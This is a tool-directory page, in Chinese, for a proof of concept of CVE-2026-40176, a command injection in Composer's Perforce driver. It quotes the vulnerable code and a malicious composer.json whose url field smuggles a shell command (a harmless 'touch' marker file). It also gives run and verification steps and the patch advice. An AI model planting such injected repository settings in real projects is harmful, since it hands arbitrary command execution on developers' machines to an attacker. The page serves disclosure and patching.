Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-40176-poc — CVE-2026-40176的概念验证,这是Composer的Perforce驱动中的OS命令注入漏洞,允许通过精心构造的composer.json实现远程代码执行。 | Kitploit
工具/GitHubGitHub/saku0512/cve-2026-40176-poc
漏洞分析漏洞利用Web应用程序漏洞利用命令与控制学习与教育Payload 开发
GitHubsaku0512/cve-2026-40176-poc

CVE-2026-40176-poc

CVE-2026-40176的概念验证,这是Composer的Perforce驱动中的OS命令注入漏洞,允许通过精心构造的composer.json实现远程代码执行。

查看仓库
222个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-40176: Composer Perforce 操作系统命令注入 PoC

English version

概述

本仓库是 Composer 的 Perforce VCS 驱动中存在的严重操作系统命令注入漏洞 CVE-2026-40176 的概念验证 (PoC)。该漏洞影响 Composer 2.2.27 和 2.9.6 之前的版本。

漏洞存在于 Perforce::generateP4Command() 方法中。在构建 shell 命令时,由于对 url、p4user、client 等仓库设置值的清理不充分,攻击者可以利用其控制的 composer.json,在受害者执行 composer install 或 composer update 时执行任意命令。

发现者: saku0512 (GitHub)

免责声明

本项目仅用于教育目的和经过授权的道德安全测试。

对于本工具的误用、造成的损害或违法行为,作者不承担任何责任。未经授权访问计算机系统是违法的。使用本软件即表示您同意仅在获得明确授权的环境中进行安全测试。

漏洞详情

  • CVE ID: CVE-2026-40176
  • 类型: 操作系统命令注入 (CWE-78)
  • 影响: 远程代码执行 (RCE)
  • 受影响版本:
    • Composer 2.0.0 <= v2.2.26
    • Composer 2.3.0 <= v2.9.5
  • 修复版本: v2.2.27 / v2.9.6

根本原因

在 src/Composer/Util/Perforce.php 的 generateP4Command() 方法中,直接从仓库设置中获取字符串并拼接构建 shell 命令。

root@kitploit:~
$p4Command = $this->getP4Executable().' ';
$p4Command .= '-u ' . $this->getUser() . ' ';   // 未转义
if ($useClient) {
    $p4Command .= '-c ' . $this->getClient() . ' '; // 未转义
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command; // 未转义

如果这些值包含 ;、&、| 等 shell 元字符,则会被 shell 解释,从而导致命令注入。

PoC 使用方法

1. 环境准备

请确保已安装 PHP。此 PoC 重现了 Composer 内部的脆弱逻辑。

root@kitploit:~
# 检查 PHP 版本
php -v

2. 配置示例(恶意 composer.json)

攻击者可以创建如下 composer.json:

root@kitploit:~
{
    "repositories": [
        {
            "type": "perforce",
            "url": "localhost:1666; touch /tmp/pwned_rce_confirmed #",
            "depot": "depot"
        }
    ],
    "require": {
        "some/package": "dev-master"
    }
}

3. 执行 PoC

附带的 poc.php 重现了易受攻击的 Composer 版本中的内部命令生成和执行逻辑。

root@kitploit:~
# 运行 PoC
php poc.php

4. 验证

检查负载所创建的文件是否存在,以验证命令是否已执行。

root@kitploit:~
ls -l /tmp/pwned_rce_confirmed

如果文件存在,则确认 RCE 成功。

防范措施

请立即将 Composer 更新到最新版本。

root@kitploit:~
composer self-update

修复方法是对所有来自用户输入的参数应用 ProcessExecutor::escape(),以防止 shell 解释。

参考信息

  • CVE-2026-40176 (cve.org)
  • Composer 安全公告
下载工具